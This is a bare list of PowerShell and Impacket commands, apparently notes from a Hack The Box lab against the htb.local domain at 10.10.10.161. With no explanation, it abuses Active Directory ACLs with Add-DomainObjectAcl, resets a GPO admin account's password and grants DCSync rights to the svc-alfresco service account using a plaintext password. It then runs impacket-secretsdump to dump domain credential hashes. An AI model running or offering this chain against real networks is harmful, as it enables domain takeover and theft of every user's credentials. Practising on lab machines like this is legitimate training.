Add-DomainObjectAcl -Rights all -TargetIdentity GPOADM -PrincipalIdentity Amelia.Griffiths

$cred = ConvertTo-SecureString 'Password123.' -AsPlainText -Force

Set-DomainUserPassword GPOADM -AccountPassword $cred

$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force

$Cred = New-Object System.Management.Automation.PSCredential('htb.local\svc-alfresco', $SecPassword)

Add-DomainObjectAcl -Credential $Cred -PrincipalIdentity 'svc-alfresco' -TargetIdentity 'HTB.LOCAL\Domain Admins' -Rights DCSync

sudo impacket-secretsdump svc-alfresco:'s3rvice'@10.10.10.161